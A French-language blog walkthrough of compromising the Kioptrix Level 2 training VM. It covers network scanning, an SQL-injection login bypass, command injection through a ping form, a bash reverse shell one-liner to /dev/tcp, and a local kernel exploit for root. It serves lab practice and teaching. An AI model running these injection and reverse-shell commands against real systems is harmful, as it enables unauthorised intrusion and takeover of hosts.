Kioptrix Niveau 2

Malware Ben
5 min readJan 25, 2021

--

  1. La première étape est d’exécuter un scan pour découvrir quel hôte est actuellement actif dans notre réseau. En utilisant l’outil “netdiscover” sur Kali Linux, nous allons être en mesure de répondre à cet objectif.
    Commande: $ netdiscover -r 192.168.126.0/24

2. Maintenant que nous connaissons l’adresse IP de notre cible (192.168.126.138), nous allons cartographier tous les ports et les services ouverts sur celui-ci. Pour ce faire nous allons utiliser le logiciel “nmap”.
Commande: $ nmap -T4 -Pn -p- -vv 192.168.126.138

Avec les résultats sur la photo ci-haut, nous avons un aperçu des ports ouverts: SSH, HTTP, RPC BIND, HTTPS, IPP, WPAGES et MYSQL.

3. La prochaine étape est de scanner les ports ouverts pour découvrir leur version et possiblement le système d’exploitation de notre machine cible.
Commande: $ nmap -T4 -Pn -sV -O -sC -p 22,80,111,443,631,776,3306 -vv 192.168.126.133

Avec les résultats sur les photos ci-haut, nous découvrons les versions suivantes pour nos ports ouverts:

SSH : OpenSSH 3.9p1 (Protocol 1.99)
HTTP(S) : Apache Httpd 2.0.52 (Centos)
IPP : CUPS 1.1
RPC Bind : Aucune version donnée
SQL : MySQL

3. Maintenant que nous avons un bon aperçu des ports, services et versions de notre hôte cible, il serait temps de visiter la page web. En effet, nous savons que le port 80 est ouvert, allons en découvrir davantage :)

En visitant la page web de notre hôte cible, nous tombons sur une page qui semble être la page d’administration du système à distance. Un identifiant et un mot de passe sont requis pour y accéder. Grâce à notre énumération précédente, nous pouvons déduire que la base de donnée contrôlant les informations d’authentification est le service MySQL se trouvant sur le port 3309. Ainsi, nous pouvons tenter d’injecter des commandes MySQL malicieuses.

4. Pour injecter des commandes MySQL malicieuses, nous allons utiliser le logiciel SQLMap.
Commande: sqlmap -u “http://192.168.126.138/”

Après analyse, les paramètres se trouvant sur la page web de notre cible hôte ne semblent pas être injectable.

5. Nous allons tester les différentes vulnérabilités qui peuvent se retrouver sur le serveur web en utilisant le logiciel Nikto.
Commande: nikto -h 192.168.126.138

6. Nous pouvons tenter de lister les différents répertoires qui peuvent se trouver sur le serveur web de notre hôte cible avec l’outil DirBuster.
Commande: dirb http://192.168.126.138/ /usr/share/dirb/wordlists/…

Aucun des répertoires semblent être intéressant pour compromettre notre hôte cible.

7. La prochaine étape serait de rechercher des vulnérabilités potentielles sur les versions des services de notre hôte cible. Nous allons utiliser Google et Searchsploit pour ce faire.
IPP : CUPS 1.1 :

Aucunes vulnérabilités semblent être compatibles avec notre hôte cible.

8. En retournant voir la page d’authentification, nous allons tenter d’injecter nos propres commandes SQL malicieuses. En cherchant sur le web, nous pouvons trouver des bonnes listes de payload.

Voilà, nous avons été en mesure d’injecter notre commande malicieuse. Nous sommes maintenant authentifié comme l’utilisateur Administrateur.

Nous observons que nous avons l’option d’interagir avec le système grâce à un service ping. (N.B: l’adresse IP de notre hôte cible a changé, car nous éprouvions des problèmes avec la machine initial. Veuillez télécharger la VM Kioptrix 2 mis à jour).

9. Nous allons tenter de savoir si notre machine cible peut exécuter des codes qui interagissent avec le système en backend.
Commande: 192.168.126.1; whoami

Et oui! La machine cible ne filtre pas les commandes injectées par un utilisateur. Nous allons pouvoir créer un reverse Shell pour compromettre la machine cible.

10. En nous référant au répertoire GitHub de PayloadsAllTheThings, nous allons injecter un code reverse Shell dans notre hôte cible.
Commande: 192.168.126.1; bash -i >& /dev/tcp/192.168.126.132/53 0>&1

11. Voilà, nous avons notre point d’entrée initial sur notre hôte cible. Maintenant, il est temps de passer à la phase d’énumération pour trouver une façon d’escalader nos privilèges et avoir un contrôle total sur notre cible.

12. Avec les informations que nous avons obtenus (Version du Kernel, Version du OS, etc.) nous allons maintenant rechercher des vulnérabilités pour trouver des exploits liés aux versions de notre machine cible.

Avec les informations fournies dans la documentation des différents exploits, nous avons déduit que l’exploit 9545 serait le plus approprié pour notre hôte cible.

13. Il est temps de transférer notre exploit dans notre hôte cible, de le compiler et l’exécuter.

Et voilà, nous sommes ROOT!

--

--

Malware Ben
Malware Ben

No responses yet